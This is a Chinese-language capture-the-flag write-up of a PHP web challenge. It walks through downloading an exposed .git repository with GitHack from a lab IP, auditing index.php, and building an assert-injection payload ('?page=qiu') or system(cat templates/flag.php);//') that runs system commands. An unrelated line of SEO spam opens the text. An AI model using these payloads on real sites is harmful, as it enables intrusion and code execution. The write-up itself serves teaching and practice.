建公司网站一般多少钱,建设集团工程有限公司,网站建设推广费怎么做账,网络推广软件有哪些Home界面#xff1a;
Home界面翻译如下#xff1a; 欢迎访问我的网站#xff01; 我自己从头开始写的#xff01; 您可以使用上面的链接浏览页面#xff01; About界面#xff1a; 观察到Git#xff0c;联想Git泄露
Git泄露
Git是一个非常流行的开源分布式版本控制系…Home界面
Home界面翻译如下 欢迎访问我的网站 我自己从头开始写的 您可以使用上面的链接浏览页面 About界面 观察到Git联想Git泄露
Git泄露
Git是一个非常流行的开源分布式版本控制系统它被广泛用于协同开发和代码管理。许多网站和应用程序都使用Git作为其代码管理系统并将其部署到生产环境中以维护其代码库。
然而在配置不当的情况下可能会导致.git文件夹被直接部署到线上环境中这可能会导致Git泄露问题。 此时可使用githack等工具下载站点存储库的整个代码历史记录和配置信息。
漏洞利用
通过枚举工具或搜索引擎来查找带有.git文件夹的存储库以获取包含未加密密码、凭据和敏感信息的站点代码库。 如GET/.git以确认是否存在git泄露
查看是否存在Git漏洞
Payload/.git 由上图存在Git漏洞。
下载泄漏文件
利用python的githacker库下载泄露文件 GitHack的安装本文不再赘述 详情参考 [Python/网络安全] Git漏洞之Githack工具基本安装及使用详析 打开Githack输入Payloadpython GitHack.py http://61.147.171.105:61017/.git 得到文件
代码审计
其中index.php文件存在以下代码
?phpif (isset($_GET[page])) {$page $_GET[page];
} else {$page home;
}
//传入page参数如果没有则设置为home$file templates/ . $page . .php;
//将page参数拼接成一个templates下的php文件设置为变量file// I heard .. is dangerous!
assert(strpos($file, ..) false) or die(Detected hacking attempt!);
//判断file中是否有 .. 如果有则直接退出 这是为了防止目录遍历
// TODO: Make this look nice
assert(file_exists($file)) or die(That file doesnt exist!)
//检查指定的文件是否存在。如果文件不存在将抛出另一个断言错误并停止脚本的执行。
?姿势
由于该代码仅对目录遍历进行防范因此可构造POC执行系统命令。
由于下载得到的文件中templates目录路径下含有flag.php故应读取该文件中内容
构造POC如下
?pageqiu or system(cat templates/flag.php);由于qiu参数不存在pageqiu返回false 可利用or执行system函数
同时观察到该行代码
assert(strpos(参数, ..) false)如果将上面的POC传入则变为
assert(strpos(qiu or system(cat templates/flag.php);, ..) false) qiu未被括号闭合该语句注入不成功
重新构造POC如下
?pageqiu) or system(cat templates/flag.php);则语句变为
assert(strpos(qiu) or system(cat templates/flag.php);, ..) false) 再用//将后面的语句注释掉即可
构造POC如下
?pageqiu) or system(cat templates/flag.php);//则语句变为
assert(strpos(qiu) or system(cat templates/flag.php);//, ..) false) 最后的语句如下
assert(strpos(qiu) or system(cat templates/flag.php);即可实现命令的成功执行 总结
该题考察Git泄露之存储库读取姿势、代码审计与命令执行读者可躬身实践。